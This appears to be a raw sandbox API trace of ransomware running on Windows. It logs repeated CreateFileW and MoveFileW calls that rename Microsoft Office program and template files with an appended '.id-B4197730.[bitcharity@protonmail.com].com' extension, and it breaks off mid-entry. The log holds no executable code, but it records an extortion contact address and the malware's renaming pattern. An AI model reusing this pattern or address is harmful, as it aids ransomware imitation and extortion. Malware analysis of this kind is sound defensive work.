0xffffffff [0271.696] CloseHandle (hObject=0x1078) returned 1 [0271.696] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.697] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWS.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\news.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.697] CloseHandle (hObject=0x1078) returned 1 [0271.697] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.698] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWS11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\news11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.698] CloseHandle (hObject=0x1078) returned 1 [0271.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWS98.POC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\news98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWS98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\news98.poc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0271.699] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.699] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWSHM.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\newshm.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.699] CloseHandle (hObject=0x1078) returned 1 [0271.700] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.700] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ORIG98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\orig98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.701] CloseHandle (hObject=0x1078) returned 1 [0271.701] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.701] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PICCAP98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\piccap98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.702] CloseHandle (hObject=0x1078) returned 1 [0271.702] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.702] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PICSTYLES.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\picstyles.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.703] CloseHandle (hObject=0x1078) returned 1 [0271.704] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.704] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PICTPH.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\pictph.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.704] CloseHandle (hObject=0x1078) returned 1 [0271.705] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.705] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PNCTUATE.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\pnctuate.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.705] CloseHandle (hObject=0x1078) returned 1 [0271.705] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.706] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\POST98SP.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\post98sp.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.706] CloseHandle (hObject=0x1078) returned 1 [0271.707] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.707] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\POSTCARD.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\postcard.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.707] CloseHandle (hObject=0x1078) returned 1 [0271.708] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.708] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\POSTCD11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\postcd11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.708] CloseHandle (hObject=0x1078) returned 1 [0271.710] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.710] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\POSTCD98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\postcd98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.732] CloseHandle (hObject=0x1078) returned 1 [0271.733] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.733] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PROG98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\prog98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.733] CloseHandle (hObject=0x1078) returned 1 [0271.734] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.734] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PROGRAM.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\program.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.735] CloseHandle (hObject=0x1078) returned 1 [0271.735] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.735] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PS10TARG.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\ps10targ.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.736] CloseHandle (hObject=0x1078) returned 1 [0271.737] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.737] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PS2SWOOS.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\ps2swoos.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.737] CloseHandle (hObject=0x1078) returned 1 [0271.738] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.738] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PS9CRNRH.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\ps9crnrh.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.738] CloseHandle (hObject=0x1078) returned 1 [0271.740] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.740] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PULLQUOTEBB.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\pullquotebb.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.740] CloseHandle (hObject=0x1078) returned 1 [0271.741] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.741] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PULLQUOTEBB.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\pullquotebb.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.741] CloseHandle (hObject=0x1078) returned 1 [0271.742] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.742] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PULQOT98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\pulqot98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.742] CloseHandle (hObject=0x1078) returned 1 [0271.743] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.743] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\QP.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\qp.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.743] CloseHandle (hObject=0x1078) returned 1 [0271.744] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.744] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\QUIKPUBS.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\quikpubs.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.744] CloseHandle (hObject=0x1078) returned 1 [0271.745] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.745] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\REPTWIZ.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\reptwiz.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.947] CloseHandle (hObject=0x1078) returned 1 [0272.640] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.640] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\WEBEMAIL.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\webemail.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.640] CloseHandle (hObject=0x128c) returned 1 [0272.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISBRGR.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visbrgr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISBRGR.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visbrgr.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0272.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visicon.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visicon.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0272.647] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.647] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ACTDIR_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\actdir_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.647] CloseHandle (hObject=0x128c) returned 1 [0272.648] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.649] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ACTDIR_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\actdir_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.649] CloseHandle (hObject=0x128c) returned 1 [0272.649] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.650] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ACTUAL_FINISHDATES_GANTTCHART_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\actual_finishdates_ganttchart_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.650] CloseHandle (hObject=0x128c) returned 1 [0272.651] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.651] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ACTUAL_FINISHDATES_GANTTCHART_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\actual_finishdates_ganttchart_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.651] CloseHandle (hObject=0x128c) returned 1 [0272.652] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.652] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ADO_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ado_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.652] CloseHandle (hObject=0x128c) returned 1 [0272.657] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.657] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ADO_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ado_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.657] CloseHandle (hObject=0x128c) returned 1 [0272.658] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.658] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0272.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ADS_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio 